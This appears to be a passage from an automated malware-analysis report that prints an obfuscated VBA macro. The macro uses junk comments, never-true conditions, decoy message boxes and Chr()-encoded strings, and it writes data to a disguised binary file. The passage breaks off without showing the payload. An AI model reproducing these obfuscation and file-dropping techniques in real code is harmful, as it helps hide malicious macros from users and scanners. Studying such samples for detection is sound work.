'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 197136 = 197136 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 3936 < 33 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(122) & Chr(113) & Chr(117) & Chr(101) & Chr(102) & Chr(98) & Chr(116) & Chr(119) & Chr(53) & Chr(52))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(111) & Chr(110) & Chr(112) & Chr(122) & Chr(120) & Chr(108) & Chr(110) & Chr(100) & Chr(52) & Chr(56) & Chr(56) & Chr(54)) = Len(Chr(101) & Chr(108) & Chr(105) & Chr(105) & Chr(106) & Chr(99) & Chr(102) & Chr(110)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
    Put #zgbpbucckrp, , wvavhsolbur
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
GoTo eubugyes
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Dim oeizanwr As String
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Open Chr(70) & Chr(67) & Chr(83) & Chr(85) & Chr(88) & Chr(82) & Chr(46) & Chr(67) & Chr(71) & Chr(80) For Binary As 44
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 322185 = 322185 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 6821 < 24 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(121) & Chr(111) & Chr(97) & Chr(99) & Chr(119) & Chr(107) & Chr(111) & Chr(100) & Chr(49) & Chr(52))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(99) & Chr(108) & Chr(101) & Chr(114) & Chr(99) & Chr(97) & Chr(118) & Chr(120) & Chr(55) & Chr(54) & Chr(54) & Chr(50)) = Len(Chr(113) & Chr(97) & Chr(99) & Chr(97) & Chr(97) & Chr(100) & Chr(110) & Chr(106)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Put #44, , oeizanwr
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 795272 = 795272 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 1487 < 42 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(99) & Chr(106) & Chr(113) & Chr(108) & Chr(105) & Chr(116) & Chr(120) & Chr(102) & Chr(50) & Chr(52))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(99) & Chr(120) & Chr(112) & Chr(111) & Chr(122) & Chr(116) & Chr(121) & Chr(102) & Chr(53) & Chr(54) & Chr(53) & Chr(49)) = Len(Chr(116) & Chr(112) & Chr(108) & Chr(114) & Chr(118) & Chr(120) & Chr(107) & Chr(100)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Close #44
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 371891 = 371891 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 1292 < 67 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(113) & Chr(115) & Chr(108) & Chr(113) & Chr(101) & Chr(109) & Chr(107) & Chr(112) & Chr(50) & Chr(57))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(109) & Chr(115) & Chr(106) & Chr(112) & Chr(106) & Chr(113) & Chr(120) & Chr(98) & Chr(52) & Chr(52) & Chr(54) & Chr(54)) = Len(Chr(120) & Chr(104) & Chr(109) & Chr(99) & Chr(118) & Chr(112) & Chr(119) & Chr(116)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
eubugyes:
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 592352 = 592352 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 2772 < 21 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(103) & Chr(102) & Chr(120) & Chr(98) & Chr(118) & Chr(121) & Chr(101) & Chr(108) & Chr(57) & Chr(52))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(122) & Chr(103) & Chr(114) & Chr(121) & Chr(119) & Chr(108) & Chr(112) & Chr(116) & Chr(51) & Chr(54) & Chr(50) & Chr(50)) = Len(Chr(99) & Chr(105) & Chr(114) & Chr(113) & Chr(103) & Chr(99) & Chr(118) & Chr(108)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkj
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.